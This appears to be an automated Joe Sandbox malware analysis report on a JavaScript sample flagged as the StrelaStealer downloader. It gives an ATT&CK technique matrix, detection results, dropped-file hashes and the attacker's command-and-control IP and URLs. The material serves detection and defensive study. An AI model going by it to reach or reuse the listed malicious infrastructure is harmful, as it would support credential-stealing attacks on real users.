Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1487427797195518826.js	11%	Virustotal		Browse
1487427797195518826.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2666223312.000001FB95400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1452658710.000001FB952E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/tem_	net.exe, 00000007.00000002.1453813496.0000025F0B1E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1452856950.0000025F0B20C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453888269.0000025F0B21B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1451945376.0000025F0B23B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1452856950.0000025F0B21B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453888269.0000025F0B20C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453813496.0000025F0B1E8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588608
Start date and time:	2025-01-11 03:04:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1487427797195518826.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.200.0.21, 23.200.0.18, 23.200.0.34, 13.107.246.45, 34.237.241.83, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:05:14	API Interceptor	30x Sleep call for process: powershell.exe modified
21:05:19	API Interceptor	1x Sleep call for process: net.exe modified
21:05:19	API Interceptor	2x Sleep call for process: svchost.exe modified
21:05:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	5by4QM3v89.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	uEuTtkxAqq.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	CGk5FtIq0N.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	wOBmA8bj8d.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	KtPCqWWnqM.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	kQibsaGS2E.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
bg.microsoft.map.fastly.net	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008081240467606
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5T6:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfl
MD5:	AE517B6B01180A7A0757016CD5A3EFBE
SHA1:	44ACB560D9954B02C66158930C230A4C5D479B86
SHA-256:	52BCCDE533E605DDBAF9CA1CB77D5563A8035E4B2921102697E020C266347635
SHA-512:	2F815C742B409FB27B3CE6BFB170D3664B42700802C4A53ADB0A77064A482F552DD11D100E6131C2D44994E6BE51E5C0E971416836662B315075912B4C1A7C5A
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xac4a84e6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715493361278446
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:jaza9vqcHbrq2UyUVWlW
MD5:	60DD4D1BB45F0DD3D987B8D31AB5DA12
SHA1:	579EB6928EA9A159121E126570EC4B3A6BCE3E0E
SHA-256:	203221457F4A3213193AAE41E490F98776AF916D57E9D3D97A54E7C58A8B6EEF
SHA-512:	E3BCE649F7D97F77EF3598EF16EA2FBE7AD6C6782B4066FBFFA46E14AA224297990B4023940A9D2422127CEF30471D5A21D386B107D59BF685DADFA28CE425AA
Malicious:	false
Preview:	.J..... ...............X\...;...{......................0.p.....#....{.......}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{..........................................}s..................m.......}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08145414892623956
Encrypted:	false
SSDEEP:	3:nsm/lyYeBNkYwT78qrrvr+gvrr/IjukdjtallVmctlll/Sm1l1:HtyzBNkYfgn/I/aLPPv
MD5:	615BB1989EB6785B512DE1AB5DE1A294
SHA1:	30059D354EE53A4972D699CB3BD6B3913A18832C
SHA-256:	F251FBF2F352817C31A4DD674EB226C43C8B49A871D89FA197BD6A862ACFBB62
SHA-512:	5108F3B4CB6706100B2A8E9C05E4E4A99B0CEC8750C2F97D05CCF2B1F74E8DF3378DFCCC904451DDA20A8C97EF805BE477F6D09CB2DD4CC6FCE6C1D6A315916B
Malicious:	false
Preview:	........................................;...{.......}..#....{..........#....{..#....{...i..#....{.V.................m.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.143342590791262
Encrypted:	false
SSDEEP:	6:iO4qN3Jq2PsZ2nKuAl9OmbnIFUtSqN3RrZmwsqN3RhkwOsZ2nKuAl9OmbjLJ:7hvkcHAahFUtT/X51cHAaSJ
MD5:	F3E018C9777199AA11BF09E056851ACC
SHA1:	1E571CB1A0B91CF0FBD46FAAA972805F92D1844B
SHA-256:	7F757C6A0D2E654564367463ED9AC750C56424B077115B7FEEA475774727B9C4
SHA-512:	80A84087B11D17EFF480F9F5E9683F3F09107303556BA1EF0B18BD2648DE0D2CE8131FFC0FE773944ACCDAD5756025E36F9CD2F45B19F2203DF9A15FE03BB0F4
Malicious:	false
Preview:	2025/01/10-21:05:19.441 d44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:05:19.444 d44 Recovering log #3.2025/01/10-21:05:19.444 d44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.143342590791262
Encrypted:	false
SSDEEP:	6:iO4qN3Jq2PsZ2nKuAl9OmbnIFUtSqN3RrZmwsqN3RhkwOsZ2nKuAl9OmbjLJ:7hvkcHAahFUtT/X51cHAaSJ
MD5:	F3E018C9777199AA11BF09E056851ACC
SHA1:	1E571CB1A0B91CF0FBD46FAAA972805F92D1844B
SHA-256:	7F757C6A0D2E654564367463ED9AC750C56424B077115B7FEEA475774727B9C4
SHA-512:	80A84087B11D17EFF480F9F5E9683F3F09107303556BA1EF0B18BD2648DE0D2CE8131FFC0FE773944ACCDAD5756025E36F9CD2F45B19F2203DF9A15FE03BB0F4
Malicious:	false
Preview:	2025/01/10-21:05:19.441 d44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:05:19.444 d44 Recovering log #3.2025/01/10-21:05:19.444 d44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.080036414282324
Encrypted:	false
SSDEEP:	6:iO4qNk4M+q2PsZ2nKuAl9Ombzo2jMGIFUtSqNHUmZmwsqN+GpMVkwOsZ2nKuAl97:7++vkcHAa8uFUtBUm/aGiV51cHAa8RJ
MD5:	563941A7A201B04BF49173E8DFFB819E
SHA1:	F31C4CD6DB910F497AECBF7E584AB61702EF2BB9
SHA-256:	0208C9DE00D37255FBE6225F84CBDBF3AAC6B619465D6EC7F418303D957BB0E2
SHA-512:	5937C03C2FAA1034C41838B77BC7CE676DE2D49217321185B96ABD90B99E2882328B9A96FA2D3870EB8D150196342591DE85D514903836BF71105592EE0C043C
Malicious:	false
Preview:	2025/01/10-21:05:19.553 111c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:05:19.554 111c Recovering log #3.2025/01/10-21:05:19.555 111c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.080036414282324
Encrypted:	false
SSDEEP:	6:iO4qNk4M+q2PsZ2nKuAl9Ombzo2jMGIFUtSqNHUmZmwsqN+GpMVkwOsZ2nKuAl97:7++vkcHAa8uFUtBUm/aGiV51cHAa8RJ
MD5:	563941A7A201B04BF49173E8DFFB819E
SHA1:	F31C4CD6DB910F497AECBF7E584AB61702EF2BB9
SHA-256:	0208C9DE00D37255FBE6225F84CBDBF3AAC6B619465D6EC7F418303D957BB0E2
SHA-512:	5937C03C2FAA1034C41838B77BC7CE676DE2D49217321185B96ABD90B99E2882328B9A96FA2D3870EB8D150196342591DE85D514903836BF71105592EE0C043C
Malicious:	false
Preview:	2025/01/10-21:05:19.553 111c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:05:19.554 111c Recovering log #3.2025/01/10-21:05:19.555 111c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\092a33cf-6112-4704-984f-4aa76640cd72.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.95203182048535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxisBdOg2HNcaq3QYiubPyP7E4T3y:Y2sRds0dMH83QYhbC7nby
MD5:	BF2FA1C8235E0E168E663E5E1A049A71
SHA1:	8BE0162D6C3C2187D19F1BDC5B625B1FE96242DC
SHA-256:	C3E485DE463FA12672EDBFD6348E4F47BD0D4E2EB878E869CC96439B2B905E02
SHA-512:	484790AC1B9B3408BA19148958AE2EBEAA33A6C95BB48F3FF5CE39460610516D974AC4FFE95ED5ADA4436EA130269D887A32C93FC7425339336932BE8F280DDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121131209600","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123603},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.95203182048535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxisBdOg2HNcaq3QYiubPyP7E4T3y:Y2sRds0dMH83QYhbC7nby
MD5:	BF2FA1C8235E0E168E663E5E1A049A71
SHA1:	8BE0162D6C3C2187D19F1BDC5B625B1FE96242DC
SHA-256:	C3E485DE463FA12672EDBFD6348E4F47BD0D4E2EB878E869CC96439B2B905E02
SHA-512:	484790AC1B9B3408BA19148958AE2EBEAA33A6C95BB48F3FF5CE39460610516D974AC4FFE95ED5ADA4436EA130269D887A32C93FC7425339336932BE8F280DDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121131209600","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123603},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.23034019247558
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflYRsD:oqupGVTbzrhtzxtSzK3/dRnlLejyE4v7
MD5:	C4BDF96C942019D3DC61A65EC10C35FA
SHA1:	1648E47A58DF97872B9738FFA26FF992C1254056
SHA-256:	C41C77CFB579F832B00EB953F3634668213FA42DF844516E0D21D69124D37F5F
SHA-512:	906C51AB4EBDA29A2250CF1ACF925DA241D35A6A0C87AEF6091E097B7074898ADB3BBA4038B432553E1809C3ED60CA43EAF681FF5081D93A9C32D21D6F81A4F8
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.124719492761458
Encrypted:	false
SSDEEP:	6:iO4qNdtM+q2PsZ2nKuAl9OmbzNMxIFUtSqNdgZmwsqNdcMVkwOsZ2nKuAl9OmbzE:7V++vkcHAa8jFUtDg/B9V51cHAa84J
MD5:	7AF01BE784474274344C9985617E0162
SHA1:	BCD726B43FF807FA6FD85EABAA6054AE4EA389D2
SHA-256:	7EE91F892B505D55CB5CE330C9EAE80D1CE4293F1ABD9944D30FF8302F967EE2
SHA-512:	E152AAA3FB7D6BAC8E6753377BFBAF3E14AE0A56D0806D438BC55424A7EA679EE73986BEE723CF1ED2DFF5D34018CA2058E9F5C08789DF322C2EADB39462619A
Malicious:	false
Preview:	2025/01/10-21:05:19.641 111c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:05:19.643 111c Recovering log #3.2025/01/10-21:05:19.644 111c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.124719492761458
Encrypted:	false
SSDEEP:	6:iO4qNdtM+q2PsZ2nKuAl9OmbzNMxIFUtSqNdgZmwsqNdcMVkwOsZ2nKuAl9OmbzE:7V++vkcHAa8jFUtDg/B9V51cHAa84J
MD5:	7AF01BE784474274344C9985617E0162
SHA1:	BCD726B43FF807FA6FD85EABAA6054AE4EA389D2
SHA-256:	7EE91F892B505D55CB5CE330C9EAE80D1CE4293F1ABD9944D30FF8302F967EE2
SHA-512:	E152AAA3FB7D6BAC8E6753377BFBAF3E14AE0A56D0806D438BC55424A7EA679EE73986BEE723CF1ED2DFF5D34018CA2058E9F5C08789DF322C2EADB39462619A
Malicious:	false
Preview:	2025/01/10-21:05:19.641 111c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:05:19.643 111c Recovering log #3.2025/01/10-21:05:19.644 111c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438179166015369
Encrypted:	false
SSDEEP:	384:iexci5GZiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:O1urVgazUpUTTGt
MD5:	6248AE1E036AFD6B7845357897353B8B
SHA1:	C361AC76642D17B4D7FA7E3C2C903E0AFC30FAAA
SHA-256:	76443B8C9285FE8FEF2B50A4400531CB25FC8BDDA2B8D44D7EE27E2EE537509F
SHA-512:	4779E523C193E5B98AE2FAF625EE9CB7B27AA045925DB1DC2CC0BEB11E4A87161030511E6A1C1821886C20C7A9D35D1F2253C29ECEB21BDECB05D1B81C2EF3A0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2170181650429814
Encrypted:	false
SSDEEP:	24:7+t1iO6wKSpqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9:7MhWSpq/mFTIF3XmHjBoGGR+jMz+LhV
MD5:	4DB7D5064AAF57A67FFF611A44A67939
SHA1:	20CB9A7DA35F5790B80D81256E5B8928AC920CD4
SHA-256:	55D02DEEAFC545A111C0CB128236FF0CD4B47A2ACD5DA8582CB147B27864D8C6
SHA-512:	EA67775C7F24ED8FE1A42FF511816B8B72B20251CE6FD74085C2657868C5A594DA074DAD314276E0DD104D9E153C56127B94F626196BAB671F57FD403732552E
Malicious:	false
Preview:	.... .c.....8.7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

